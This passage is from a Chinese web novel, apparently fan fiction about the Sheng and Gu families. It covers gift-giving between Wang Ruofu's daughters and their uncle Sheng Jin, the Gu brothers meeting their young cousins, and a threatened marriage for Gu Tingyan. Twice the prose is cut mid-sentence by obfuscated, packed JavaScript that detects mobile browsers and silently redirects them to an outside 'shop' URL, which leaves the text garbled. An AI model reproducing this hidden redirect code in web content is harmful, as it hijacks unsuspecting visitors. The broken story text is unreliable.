盛明兰因着盛老太太在身旁,颇有安全,但她的小脸微微通红的点了点头,用十分微小的音量,道:“嗯。” 盛老太太看着盛明兰这个样子,估计是害羞了,嘴角微微弯起,道:“明儿,这是害羞了,无需见外,这都是自家人,那是你婶婶和堂姐们,明儿跟她们打个招呼吧。” 盛明兰听完盛老太太的话,乖巧的对着王若弗她们行了个礼,声音十分甜蜜和软糯,道:“婶婶,懿安,堂姐们,妆安。” 王若弗看着盛明兰这乖巧可爱的模样,瞬间被俘获了,满脸笑容的上前扶了下盛明兰,顺带在盛明兰那白嫩的脸蛋上摸了几把,感叹手感之好后,语气柔和且亲近,道:“明姐儿多礼了,都是自己家人,无需如此客气。” 一旁的盛如兰也盯着盛明兰的小脸看了好一会儿,觉得她和自己想象的不太一样,没有自己想象的那么讨厌,反而有些可爱,果然颜值好的人都容易给人带来好感,尤其是盛明兰如今还是个孩子没有任何的攻击性。 盛如兰身旁的盛墨兰则是沉默不语的打量着盛明兰,心中不禁感叹道:“以前还不觉什么,如今看这妹妹生的尽然这般好,长大后恐怕是整个盛家姑娘里生的最好的了,不,她已经是整个盛家最尊贵的姑娘了。” 王若弗看着盛明兰回到盛老太太身边,眼含笑意,语气十分亲近,道:“媳妇今天来也给明姐儿和安哥儿带了见面礼,正巧碰到了,就直接交给明姐儿。” 王若弗身旁的刘妈妈随着王若弗的话音递了两个精致的小盒子给她,而后她又将这两个小盒子交给了盛明兰。 盛明兰看向盛老太太,只见盛老太太笑着点了点头,她便接过王若弗手中的盒子,转身交给自己的丫鬟后,再次对着王若弗行礼,道:“明兰替自己和弟弟谢谢婶婶了。” 王若弗瞧着盛明兰这般尊敬她,心里十分舒畅,语气中带着些许欢快,道:“这就对了,一家人,不用那么见外。” 盛老太太对着王若弗,语气不亲近也不疏远,道:“你们再坐一会儿,等瑾儿来了,也让他认认他的侄女们吧。” 王若弗闻言,脸上的笑容更加真情实意了,随即和盛老太太闲聊了起来,而一旁的盛华兰早就眼馋盛明兰了,随即拉过盛明兰,陪着盛明兰玩耍起来。 盛老太太早就想给盛明兰找个玩伴了,可是盛家的姑娘都与盛明兰年龄相差大了些,盛明兰自从没有了盛品兰这个朋友后,便变得有些安静了,她瞧着盛明兰这般实在是心疼不已啊!如今瞧见盛华兰愿意和盛明兰一块玩,她的心里松快了一些,但这不是长久之计,她心里不由的想道:“看来还是要找一个同明姐儿岁数相差不大的小丫头啊!” 过了不久,盛瑾就抱着盛长安来到了盛老太太这里,而盛长梁则被留在书房里完成盛瑾布置的功课了。 盛华兰她们第一次见到盛瑾和盛长安,只见一个长相十分俊美,气质出众的中年男人,怀中抱着一个白胖精致的孩子,仔细一看,那孩子竟与男人有几分相似之处,可见其长大必定也是一位美男子了。 盛老太太看到盛瑾和盛长安来了后,脸上的笑容灿烂了几分,语气柔和,道:“瑾儿,你们来了。” 盛老太太看了一眼一旁有些呆愣的盛华兰等人,眼含笑意,道:“这便是你们的二伯父盛瑾,他怀中的孩子便是你们已逝世大伯父的儿子盛长安。” 盛华兰听完盛老太太的话,当即回过神来,她站起来对着盛瑾,恭恭敬敬的行了一礼,道:“二伯父,万安。” 盛如兰和盛墨兰随即也反应过来,紧随其后的起身行礼,语气恭谨,齐声道:“二伯父,万安。” 盛瑾看着她们的眼神中带着些许笑意,嘴角微微弯起,语气中带着些许亲近,道:“无须多礼,都是一家人。” 盛瑾随即又看向正打算行礼的王若弗,摆了摆手,给人一种随意之感,道:“弟妹,你也无须多礼了。” 王若弗脸上的笑意又浓了几分,语气要多柔和有多柔和,道:“那就多谢二哥哥了。”其实她刚才看到盛瑾抱着盛长安进来时,心里吓了一跳,古人常说抱孙不抱子,虽然从宥阳回来的人口中得知盛瑾十分疼爱盛明兰和盛长安,但她的心里对盛瑾疼爱盛长安这个侄子的话,还是有些不信的,直到看到这一幕,她才相信了那些话,心里对盛长安的重视又加了一层,上升到和盛明兰一个程度。 王若弗看着盛长安,笑意盈盈,道:“这便是安哥儿吧,长得真真是好啊!我瞧着竟与二哥哥有几分相像,未来定又是一个美男子啊!” 盛瑾抱着盛长安,微微一笑,随即目光回到怀中的盛长安身上,语气柔和,道:“安儿,你婶婶夸你呢,来,谢谢婶婶。” 盛长安一个一岁多的小孩子自然不会说话,不过,他好似听懂了盛瑾的话一般,裂开嘴露出洁白的小牙齿,给了王若弗一个甜甜的微笑。 王若弗被盛长安这个软糯的团子给萌到了,眼中满是喜爱,语气十分亲近,道:“瞧瞧安哥儿这聪明劲,以后定是个读书苗子。” 盛老太太闻言,笑而不语,而盛瑾瞧出盛老太太有些想抱盛长安的想法,便走到盛老太太面前,顺手将盛长安放在盛老太太的怀中。 盛老太太摸了摸自己怀里的小孙孙,满眼慈爱,随即对着盛瑾用宛如开玩笑般的口吻,道:“你弟妹给你女儿和侄子可是送了大礼的,你这个当二伯父的,可别对侄女们吝啬啊!” 盛瑾捏了捏盛长安的小脸蛋,语气中带着些许打趣,道:“母亲,您这是替孙女们向我讨要东西啊!不过,即使母亲您不说,我也不会少了您这些个宝贝孙子孙女的东西的。”一旁的三个兰被逗的满脸通红。 盛瑾见此微微一笑,语气淡然的补充道:“我早已准备好了。”他说完便有三个丫鬟走了进来,每个丫鬟手里都端着一个不大的盒子。 盛瑾用眼神示意丫鬟们上前,她们随即便来到了盛华兰等人面前,盛华兰看向王若弗,只见王若弗刚要开口拒绝,便听到盛瑾用调笑的口吻,道:“拿着吧,大房侄子侄女有的,你们也应该有的,毕竟我这个当二伯父的要一碗水端平嘛。” 王若弗听着盛瑾这番话,本来要拒绝的话到嘴就止住了,她看着盛华兰三人,语气中带着些许笑意,道:“你们几个还不快谢谢二伯父。” 盛华兰她们听着王若弗的话,便一同给盛瑾行礼,道:“谢谢二伯父。”说完,便接过丫鬟们手中的东西,转身交给了自己的丫鬟。 盛瑾顺口说了一句,道:“虽然柏哥儿和枫哥儿没有来,但是礼物我准备好了,到时候弟媳再拿回去给他们吧。” 王若弗一听盛瑾并未忘记盛长柏他们,心里十分开心,她也不是全然在乎这份礼物,她要的是盛瑾对盛长柏的心意,于是她喜形于色,道:“那我就替他们多谢二哥哥了,改天让他们登门拜访,感谢二哥哥的心意。” 盛瑾闻言只是笑了笑,过了一会儿,他自觉自己一个男性,在一群女子这也不好,随即让盛老太太将盛长安交给他后,便抱着恋恋不舍的盛长安离开了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8631587|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道他是怎么从一个孩童脸上看出恋恋不舍的表情的。 王若弗带着盛华兰她们陪盛老太太聊了一会儿天后,到了午膳时间,盛老太太留她们吃了顿午饭后,她便带着盛华兰她们和盛瑾准备的一车礼物回了盛家。 一回到盛家,王若弗便带着盛华兰和盛如兰回了自己的院子,而盛墨兰则是回到自己的院子去了。 盛如兰一回到房间里,便迫不及待的打开盛瑾给的盒子,里面是一串粉色的珍珠手链,手链上的珍珠颗颗饱满丰润,散发着珍珠特有的光泽,还有一个红珊瑚猫蝶珠花,看上去十分精致,她一时间竟然看呆了,伸手拿起来看,喃喃道:“这真是好看啊!” 王若弗和盛华兰把目光从盛如兰那里移开,随即看向盛华兰的盒子,王若弗一脸兴奋的对着盛华兰道:“打开看看吧。” 盛华兰也有些好奇盛瑾会送给她什么,随即将盒子打开,里面是一个翡翠玉琉璃镯金,那种质细腻通透,颜色鲜阳纯正,看上去就是贵重无比,绕是王若弗这样见过不少好东西的人也看呆了,除此之外,还有一支精致的镶珠镂空钗和与盛如兰一样的珍珠手链。 这时盛如兰也看了过来,当她看到自家长姐的东西比自己的好时,心里突然有一丝不平衡了,语气中带着些许愤愤不平,道:“二伯父还说一碗水端平呢,这算是端平嘛。” 王若弗眼神中带着些许警告的盯了盛如兰一眼,随即对身旁的刘妈妈道:“去,派人去打听打听墨兰那得了什么好东西。” 刘妈妈应声离开了,盛如兰被王若弗暂时给压下去了,王若弗拿起那翡翠玉琉璃镯金看了看,喃喃自语,道:“真是好东西啊!” 王若弗看了一会儿,满脸笑意的看着盛华兰,道:“这东西都可以给你当压箱底的嫁妆了,现在我才真真是感受到为什么外面都在传盛国公身家丰厚啊!这身家估计不是一般的丰厚了。” 盛华兰听完王若弗的话,也只是笑了笑,语气淡然,道:“二伯父身家丰厚和我们有什么关系,二伯父愿意给,我们就收着,不愿意,那也是本该的。” 王若弗闻言也知道自己的话颇有不妥之处,随即讪讪一笑,道:“我就是说一说吧,又不是打他的主意,只是感慨,明兰那丫头,有这样的父亲,未来必是不用愁了。” 刘妈妈过了不久就回来了,如今盛家后院在王若弗手中,想打听件小事自是很快的,刘妈妈带回来盛墨兰的东西和盛如兰一样的消息时,盛如兰瞬间就炸了。 盛如兰,一把将一旁的茶杯砸在地上,语气中满是不平,道:“凭什么,我是嫡女,她是庶女,凭什么一样,二伯父嫡庶不分,还一碗水端平呢,这哪里平了啊!” 王若弗被盛如兰的话气的额头直冒青筋,低吼道:“盛如兰,你给我安静点。”就这一句话使得盛如兰瞬间被王若弗给止住了,但是她两眼冒着火气的看着王若弗。 王若弗扶了扶额,语气中满是无力,道:“感情上次,我和你大姐姐,还有刘妈妈对你说的话,你都忘的一干二净了嘛。” 盛如兰虽心有不平,但还是老老实实的回答道:“你们说越是高门大户人家,姑娘们越是一般对待的,但是,是二伯父自己说的一碗水端平,那为什么我和大姐姐的不一样。” 王若弗眼中闪过一丝冷意,神情变得严肃起来,道:“我没曾想你现在都开始打算和你大姐姐争强了,是,你二伯父是说了一碗水端平,但人家的意思不外乎都是侄子侄女,不能大房那边有的,二房没有,要是按你这么说,那么你还比大房的淑兰品兰多了一个红珊瑚猫蝶珠花,你拿回去还给你二伯父,你大姐姐有句话说得对,你二伯父给是他的心意,若是不给,也是本该的,左右不过是他想不想的问题罢了。” 刘妈妈在一旁附和道:“五姑娘,大娘子说的对,大姑娘之所以不一样,一则可能是国公爷念着大姑娘即将及笄了,在娘家做姑娘的日子也没有多少了,所以才给的重礼,二则便是大姑娘是老太太养大的,到底在国公爷心里有些不同的。” 盛如兰只是和盛墨兰争执惯了,一看到盛墨兰和她一样,再加上之前看到盛华兰的和她不一样心里有些不平,因此,她瞬间就爆了,现在冷静下来,也知道自己反应有些大了。 王若弗看着盛如兰平静下来了,淡淡的补刀道:“再说了,是你没法讨老太太的欢心,怪的了谁啊!” 盛如兰被王若弗说的面红耳赤,犹如炸毛的猫,硬气回怼道:“母亲,你以前不是也说老太太没什么好巴结的嘛。” 王若弗被盛如兰梗了一下,语气中带着些许郁闷,道:“谁能知道老太太还有个国公爷儿子,当初也没想到啊!” 盛华兰全程安安静静的,一点也不掺和王若弗和盛如兰之间的争执,毕竟导火索在她这,她再掺和,不免有些得了便宜又卖乖了。 盛如兰气性来的快也去的快,随即又好奇盛长柏和盛长枫得了什么,她语气中带着些许好奇,道:“母亲,哥哥得了什么嘛。” 王若弗被盛如兰给整无语了,点了点她的额头,道:“你啊!你,你哥哥和长枫都是一块极品青玉玉佩,看那雕刻十分的精美,不过,重点不是这,而是文房四宝,你二伯父给他们送的文房四宝都是贡品,还有一本注解的书,这才是真真的好啊!” 盛如兰听完瞬间就不感兴趣了,然后,她就接着去看自己的东西了,王若弗瞧着盛如兰这般,摇了摇头,随即又吩咐身旁的刘妈妈,道:“你去找人来给姑娘们量尺度,把二哥哥给姑娘哥儿们的锦缎制成新衣裳。”而刘妈妈听完也退下去办事情了。 第 60 章 清晨,顾廷烨和顾廷炜从书院回到白家,一下马车跨过白家大门就隐约听见了一阵阵的笑声从院内传来,他们心里泛起一阵疑惑,随即径直朝着笑声传来的院子走去。 等顾廷烨和顾廷炜一进入白家的院子内,便看到自家外祖父白老爷怀中抱着一个糯米团子,身边还站着一个精致可爱的小姑娘。 顾廷烨因着盛明兰和盛长安变化太大有些认不出来,于是他对着顾廷炜打了个眼神,示意道:“这是谁家的孩子啊!” 顾廷炜用一种充满无语的神情看着顾廷烨,仿佛在回复道:“我哪知道啊!我离开时,还没有出现这两个孩子呢。” 顾廷烨接收到自家弟弟传来的信息后,脑子开始飞快的旋转起来,心想:“不会是白家族人的孩子吧,不,不可能是白家族人的孩子,以自家外祖父与白家族人的关系,不可能将他们的孩子带来白家,也不可能对他们这样的态度。” 顾廷烨脑海中有一个念头一闪而过,自家舅舅回宥阳时,可是带了两个孩子一块去的,会不会是舅舅他回来了,想到这里,顾廷烨突然露出一丝笑意。 顾廷炜看着自家哥哥突然笑了,一时疑惑的看了一眼顾廷烨,那神情仿佛在述说道:“你在笑啥呢。” 顾廷烨看着顾廷炜的表情,一脸无语想着自己如此英明神武的人,为啥会有个不开窍的弟弟呢,不禁在心里感慨道:“人无完人啊!” 顾廷烨这般想着,也不理会自家弟弟的想法,他大步朝着白老爷走去,大喊一声“外祖父,我们回来了。”他身旁的顾廷炜虽不明所以,但还是跟着他一同进去了。 等顾廷烨和顾廷炜一起走到白老爷身边时,顾廷烨一眼就看出白老爷身旁的盛明兰和盛长轩小时候有七分相似,心里当即确定了自家舅舅回来了。 白老爷看着顾廷烨和顾廷炜,语气中带着一丝惊喜,道:“烨哥儿、炜哥儿,你们回来了,我还想着今天给你们送信去呢?没曾想你们居然这么早就回来了。” 顾廷烨听到白老爷的话,微微皱眉,语气中带着一丝疑惑,道:“外祖父,您为什么给我们送信呢?” 顾廷烨和顾廷炜只知道白滢婷有事回汴州城了,并不知道顾家发生了什么事情,当然,白老爷他们也不太想让孩子们知道,因此,白老爷打了个哈哈,道:“你舅舅有事情要回一趟汴州城,所以去信要你们向书院辞行,一同回去,对了,这是你们的表妹盛明兰、表弟盛长安,瞧瞧才多久没见,这越长越像你舅舅亲生的一般。” 顾廷烨多聪慧,他从白滢婷回汴州城开始就猜到顾家估计有事情发生,如今盛瑾也赶着回去,他更加确定自己内心的想法了,不过,既然盛瑾他们不想让他知道,他也不好多问什么,再说了,等回到汴州城,他自然而然会知道的,于是他面脸笑意的随着白老爷的话,道:“明兰表妹,长安表弟,你们好,我是你们的表哥顾廷烨,如果以后有什么事情可以来找我,或是你们另一位表哥。” 顾廷炜现下回过神来也知道自己哥哥刚才在那时为什么会笑了,敢情猜到了舅舅回来了,他紧跟随后的点了点头,道:“嗯,我也是你们的表哥顾廷炜,如我哥哥所说,有事可以找我们。” 盛明兰和盛长安看着眼前这两个俊秀的少年,不一会儿,盛明兰朝顾廷烨和顾廷炜行礼,道:“盛明兰,见过二位表哥。”而在白老爷怀里的盛长安看到自家姐姐给顾廷烨和顾廷炜行礼,瞪大双眼,笑眯眯的看着二人,好似听懂了顾廷烨和顾廷炜的话一般。 顾廷烨听着盛明兰软糯糯的声音,又看着盛长安笑眯眯的样子十分可爱,不过,他瞧着盛明兰与盛长轩相似的面容,又细细打量了一下盛长安的长相,不难看出盛长安的轮廓有几分神似盛长轩,他感觉自己的手突然有些痒,随即用手戳了戳盛长安的脸蛋,感慨道:“这手感真好啊!” 白老爷看到自家外孙手贱的戳着盛长安的小脸蛋,随即用手拍掉顾廷烨的手,绷着脸道:“别戳你表弟的脸,小孩子脸嫩。” 顾廷烨看着自己被外祖父拍掉的手,讪讪一笑,心里不由的暗叹道:“可惜啊!还没过够手瘾呢,这小脸嫩的和豆腐一般。” 白老爷怀中的盛长安不明所以,还以为顾廷烨在和他玩呢,对着顾廷烨露出一个大笑脸,随即就俘获了白老爷的心。 白老爷抱着盛长安,瞧着这张与盛长轩相似的面容,满脸慈爱,语气十分宠溺,道:“外祖父的乖乖哥儿啊!真是可爱啊!” 白老爷说着又忍不住瞪了一眼顾廷烨,语气中带着些许警告的意味,道:“不许对你表弟动手动脚的,别以为我不知道你在想什么,不就是看安哥儿长的像轩哥儿嘛,小心我给轩哥儿去信告状,让他回来收拾你。” 顾廷烨被戳破了小心思,只能一只手摸着脸,讪讪的笑道:“外祖父,哪有嘛,我只是看小表弟长的可爱,逗他玩呢。” 白老爷一脸“你当我是傻子嘛”的表情看着顾廷烨,顾廷炜随即焕然大悟的看着自家哥哥,一脸鄙视,这欺负不了大的,找个小的欺负,不讲武德啊! 顾廷烨看着自己弟弟的表情,那还不知道他在想什么呢,随即转移话题道:“舅舅回来了 ,怎么没看到他呢。” 白老爷听到自己外孙提起盛瑾,想起了盛长梁,随即看向顾廷烨和顾廷炜,语气淡然,道:“你舅舅带了个和炜哥儿一般大的侄子回来,看样子是打算让他和你们一同学习,你们要好好相处,莫要让你们舅舅难办。” 顾廷烨、顾廷炜对于自己多了个小伙伴,表示十分欢迎,顾廷烨继续自己的问题,道:“外祖父,那舅舅在哪呢?”而一旁的顾廷炜也满脸期待的看向白老爷。 白老爷看着自己这两个外孙如此亲近盛瑾,也不吃醋,面带微笑的摇了摇头,道:“你们真是喜欢你们舅舅啊!好了,他在隔壁的书房里,你们去找他吧。” 顾廷烨和顾廷炜得到想要的答案,一副满意的神情看着白老爷,语气柔和的齐声道:“那外祖父我们去找舅舅了。” 白老爷瞧着他们这般,也不多留他们在这了,于是他对着他们摆了摆手,语气淡然,道:“去吧。” 白老爷连眼神都懒得抬一下,只顾着逗起怀中的盛长安和一旁的盛明兰,心里暗道:“还是小孩子可爱。” 顾廷烨和顾廷炜迈着欢快的步伐,快速的来到了盛瑾所在的书房,只见盛瑾在指导盛长梁学习,于是顾廷烨和顾廷炜便安静的站在外面,没有进去打扰他们。 等盛瑾指导完盛长梁功课后,他一抬头便看到门外的顾廷烨和顾廷炜,嘴角微微弯起,道:“你们从书院回来了。” 盛瑾说完,目光又从顾廷烨和顾廷炜身上转向盛长梁身上,道:“这两个是我外甥,顾廷烨和顾廷炜,你可以叫他们表哥。” 盛长梁闻言,急忙起身,给顾廷烨和顾廷炜行礼,语气恭恭敬敬,道:“盛长梁,见过两位表哥。” 盛瑾看着顾廷烨和顾廷炜,语气柔和,道:“这位是我三堂弟盛绉的儿子盛长梁,你们叫他表弟吧。” 顾廷烨和顾廷炜闻言,一起对着盛长梁行了一礼,齐声道:“顾廷烨(顾廷炜)见过长梁表弟 。” 盛瑾对着盛长梁,面色不改,语气淡然,道:“梁哥儿,你先自己学习,我和你的表哥们有事情要谈。” 盛长梁点了点头,道:“好的,瑾堂伯父”随即盛瑾便带着顾廷烨和顾廷炜一同来到另一间屋子。 盛瑾和顾廷烨、顾廷炜坐下后,盛瑾满脸笑意,语气温和,道:“烨儿炜儿,这些日子在书院过的如何呢?” 顾廷烨听到自家舅舅询问他们过的如何,便笑着和盛瑾讲起了这些日子他在扬州城的生活,一旁的顾廷炜也笑着附和道自己的事情,总结下来就是他们过的很好,也很自在。 顾廷烨瞧着盛瑾这般,自觉他过的也十分不错,便微微一笑,道:“我们过的不错,舅舅看上去,这些日子在宥阳盛家过的也很好啊!有表妹和表弟陪着您,您很开心吧。” 盛瑾嘴角微微弯起,语气平缓,道:“是啊!我们这些日子都过得挺好的,不过,这么长时间了,我们也该回汴州城了。” 顾廷烨和顾廷炜面对面看了对方一眼,他们之前就已经被白老爷告知了,不过,顾廷炜不同于顾廷烨的敏锐,他对此没有察觉出任何异样,只是笑呵呵,道:“舅舅,我们刚刚遇到外祖父时,他已经告诉我们了,不过,我们何时回汴州城呢?” 盛瑾看着顾廷炜和顾廷烨,眼神中闪过一丝笑意,道:“半个月后,留了时间给你们和朋友道别。” 顾廷烨和顾廷炜看着盛瑾,眉眼满含笑意,语气中带着些许愉悦,道:“那就多谢舅舅给我们留了道别的时间了。”而后盛瑾与他们交流了一会儿,便起身去看盛长梁学习了。 与此同时,白滢婷已然赶回到汴州城的宁远侯府了,她脸上带着些许疲惫的表情,目光看向哭得梨花带雨的邱小娘身上,语气平静,道:“好了,邱小娘,你莫要再哭了,这婚事到底还没有定下来呢。” 邱小娘拿着随身手帕擦拭着眼角的泪水,语气哽咽,道:“大娘子,妾氏就烟姐儿这一个孩子,我不求她攀高枝,只求她安安稳稳,平平淡淡的过完这一生,妾氏本就是出身东昌伯爵府的女使,那个府中如今是个什么光景、里头的主子是个什么性情,不说了如指掌,也是略知一二。” 邱小娘说到这里,看了一眼一旁的顾廷煜,见他脸上的表情没有丝毫变化,便大着胆子继续道:“秦伯爷夫妇当初能因着嫁妆问题生生将秦三姑娘留到二十岁,可见不是什么好性子的人,妾氏在东昌伯爵府也有娘家人在,妾氏的娘家人曾说过那府中的主子都不是什么好伺候的主子,如今想要烟姐儿过去,不过是瞧着烟姐儿生的不错又是主君唯一的姑娘,惦念这烟姐儿的嫁妆应该差不到哪去,所以舍了个庶出的哥儿谋钱财罢了,这样的人家怎么会好好待烟姐儿呢,再说了,庶出的媳妇可不好当啊!” 顾廷煜面不改色的听着邱小娘的话,仿佛她说的不是自己的外家一般,其实他从小到大都知道这位邱小娘的存在,她是先前大秦氏的贴身丫鬟,大秦氏逝世前,顶着一口气,让顾偃开纳了邱小娘为妾,明眼人都知道这是大秦氏为了恶心顾偃开续弦的妻子,可他不知道的是这位邱小娘当初对大秦氏忠心耿耿,原本已经说好了合意的婚事,只等主人家点头,出府嫁人了,结果大秦氏就为了恶心顾偃开续弦的妻子,将她嫁给顾偃开做了永远抬不起头的妾侍。 这位邱小娘借着顾偃开对大秦氏的感情本可以得到顾偃开的尊重,起初也是这样的,可邱小娘受制于秦家,当初白滢婷难产的事情,她虽然没有直接插手,但小秦氏确确实实派人找过她,所以当顾侯夫人处置大秦氏留下的人时,也将她扯了出来,不过,当初顾侯夫人念在她给顾偃开生了个女儿的份上,再加上她是因着小秦氏拿她的家人威胁而知情不报,因此,也没有对她重罚,只是告知了顾偃开,结果就是顾偃开因着此事对她没有了起初的尊敬了。 邱小娘自知理亏,再加上大秦氏留下的人都被顾侯夫人收拾干净了,也就安分守己的呆在自己的院子里,每日谨守妾侍本分,对白滢婷恭恭敬敬的,她是大户人家的丫鬟出身,自然知道顾廷烟养在她膝下不太好找婆家,不过,白滢婷因着顾偃开的原由,不想将他的庶出子女养在自己身边,而她又舍不得顾廷烟离开自己身边,毕竟顾廷烟算得上是她在顾家后宅度过漫长岁月的盼头了,于是她只能每日带着顾廷烟去给白滢婷请安,告诉顾廷烟一些事情,让顾廷烟恭谨顺从白滢婷这个当家主母,也希望白滢婷能看着这点子情分给顾廷烟找个好人家,这也是邱小娘在后宅的生存之道。 白滢婷瞧着眼前的邱小娘,她并没有因着当初难产的事情而迁怒邱小娘,毕竟邱小娘的的确确没有参与其中,更何况这些年来邱小娘和顾廷烟不争不抢的可守本分,她对她们还是有些许好感的,因而邱小娘这些年在顾家的日子过的不错,原先她想的是在等等,若是顾偃开不提顾廷烟的婚事,自己再给顾廷烟找个好人家,谁曾想顾偃开居然能给她来个深水炸弹,真真是让白滢婷大吃一惊啊! 白滢婷不知道对于顾偃开而言,有没有顾廷烟这个女儿都没多大关系,毕竟邱小娘在顾偃开的心目中也没有多少重量,即使给他生了个女儿,也没有什么变化。 在顾偃开的心中最重要的是顾家,其次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8637014|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾廷煜这个儿子,他是顾偃开最爱的女人所生,得到了顾偃开全部的宠爱,再者是顾廷烨,他是顾偃开第一个健康的嫡子,顾偃开对他的教导倾尽了心血,接着便是对白滢婷的敬重,仅剩的一点关心也给了顾廷炜这个嫡幼子,所以顾偃开实在没有多余的心思放在这个庶出的女儿身上,这也造成了顾偃开对邱小娘母女的忽视,要不是秦伯夫人突然提起顾廷烟,他还一时半会想不起这个女儿来呢。 顾偃开对秦伯夫人的提议有些许意动,毕竟他对秦家人大多时候都是能帮就帮的,要不是秦伯夫人的人选是一个庶子,他怕是早就答应了。 顾偃开将这件事情和顾廷煜说了一句,顾廷煜何其聪慧啊!他瞧出了秦伯夫人是打定主意了,而顾偃开的态度也处于模棱两可的状态,要是秦伯夫人狠狠心将庶子记为嫡子,恐怕顾偃开的想法就会不一样了,到底是自己唯一的妹妹,他自己也知道外家是个什么样子,不忍看着庶出的妹妹就这么被推入火坑中,于是他以白滢婷为借口,缓和顾偃开的想法,道:“父亲,自古婚姻大事,父母之命媒妁之言,这母亲还在扬州城呢,若是她回来瞧着你不吭声的将妹妹的亲事定了,怕是要多想了,再说了,妹妹平日里对母亲十分恭谨顺从,母亲虽嘴上没说什么,但到底对妹妹还是有些情感的,万一母亲对妹妹的亲事有了主意,我们这么做岂不是打母亲的脸嘛。” 顾偃开闻言,突然,想到许多年前他有一次因着误会打了顾廷烨一顿,结果白滢婷一个多月对他都没有好脸色,最重要的是盛瑾那家伙为了这件事情还上门揍了他一顿,到现在他都想不清楚盛瑾一个文官为什么会有那么大的力气将他一个武官按着揍啊! 顾偃开下意识的打了个激灵,他仿佛看到了盛瑾当初那宛若吃人般的气场,顿时被吓得身后直冒冷汗,底气有些不足,道:“煜儿,你说得在理,是为父考虑不周了,这件事情是要问一问你母亲的,毕竟她是烟姐儿的嫡母,烟姐儿的婚事也不好将她排除在外。” 顾廷煜闻言,心里暗暗松了口气,转头就将东昌伯爵府那位庶子查个一清二楚后,又写信让人赶忙送去给白滢婷通风报信。 白滢婷看着一旁沉默不语的顾廷煜,语气柔和,道:“煜儿,这件事情多亏了你,要不是你在,我怕是要等到烟姐儿成亲时才知晓此事了。” 顾廷煜看着白滢婷,眼神中闪过一丝歉意,道:“母亲莫要客气,说到底这件事情也是有我的原因在内,要不是舅母那日上门时我不在家,大娘子带着烟姐儿去接待,让舅母看中了也没这档子事情了。” 顾廷煜对东昌伯爵府的事情略知一二,所以白滢婷不在家时,他都是自己去接待的秦家人,就是怕秦家人闹出点什么幺蛾子来,结果人算不如天算,偏偏凑巧那日他人不在家,自家大娘子又不是个抗事的料,拉着顾廷烟壮胆子,就这一次见面就让秦伯夫人起了心思。 顾廷煜不难猜出秦伯夫人的想法,顾偃开对秦家人向来大方,而白滢婷又不在乎那点子银钱事情,秦伯夫人便想着若是娶了顾廷烟,顾偃开看在秦家人的面子上这嫁妆不会少给,至于白滢婷,她既然愿意让顾廷烟这个庶女管家,就证明她对顾廷烟还是很有好感的,那到时候她给顾廷烟的添妆也不会少多少,毕竟顾廷烟是顾偃开唯一的女儿,给少了影响的是她白滢婷的名声,因此,秦伯夫人看上的是顾廷烟能给东昌伯爵府带来丰厚的嫁妆。 白滢婷看着顾廷煜有些单薄的身子,眼中闪过一丝心疼,语气柔和,道:“煜儿,这哪能怪你呢?就是你再怎么防备,旁人若是起了心思,你也防备不来的,这段时间辛苦你了,既然我回来了,你就不用多想什么,好好休息吧。” 顾廷煜想着自己这些时日确实有些疲惫,再加上自己身子骨弱的原因,便微微一笑,道:“那就多谢母亲了,既然母亲已经回来了,那我明日便让小厮将府中的管家钥匙送回给母亲。” 白滢婷对管家钥匙没什么执念,不过,既然顾廷煜提出来了,那她也不好拒绝什么,于是她对着顾廷煜微微一笑的点了点头,随即便将目光再次放到了邱小娘身上,道:“你也不必在这哭诉什么了,烟姐儿到底是我看着长大的,但若是官人执意要将烟姐儿嫁入东昌伯爵府,我也做不得什么主,为今之计就是尽快将烟姐儿的亲事定下来,只要早些定下来,那官人那边也是没法子的。” 邱小娘内心随着白滢婷的话犹如过山车一般,直到最后一刻她才喜笑颜开,道:“是是是,大娘子说的是,如今烟姐儿也快到十七岁了,也该相看人家了,那就劳烦大娘子给烟姐儿寻摸一门亲事了。” 白滢婷连夜赶路身子有些乏了,她强撑着疲惫,道:“我看看这几日有没有宴会邀请,若是有我就带烟姐儿去,若是没有我在找人寻摸打探一下,你也问问烟姐儿想找什么样的人家,我也好有个主意。” 邱小娘和顾廷煜都看出白滢婷的疲惫,于是邱小娘满脸感激,道:“那就劳烦大娘子了,我就不打扰大娘子歇息了。”而顾廷煜也接着邱小娘的话提出了告辞。 白滢婷闻言顺势点了点头,邱小娘和顾廷煜便各自回各自的院子中了,而邱小娘一会到自己院子中找到顾廷烟,便一把抱住顾廷烟,哭笑道:“烟姐儿,这下好了,大娘子回来了,只要你早些时日定下亲事,那秦伯夫人就打不了你的主意了。” 顾廷烟瞧着邱小娘这副样子,心里不由一紧,用手拍了拍邱小娘的背,道:“是女儿无用,让小娘担忧了。” 邱小娘闻言,抹了一下自己的眼泪,咬牙切齿,道:“我家烟儿哪里是无用啊!这分明是你那猪油蒙了心的父亲惹出来的,我算是看出来了这个家里除了你那亲生父亲外谁都靠谱。” 邱小娘说到这里,她看着顾廷烟的眼中充满了柔和,道:“若是此次你能得个好亲事,就是让我供着大娘子都成,对了,大娘子让我问你,你想要找什么样的人家呢?” 顾廷烟闻言,小脸微微通红,轻声细语道:“自古婚姻大事父母之命媒妁之言,我都听大娘子安排。” 邱小娘瞧着顾廷烟害羞的样子也不好再说什么了,再说了,她一个丫鬟出身也不知道找什么样的人家才好,索性就交由白滢婷去选吧。 第 61 章 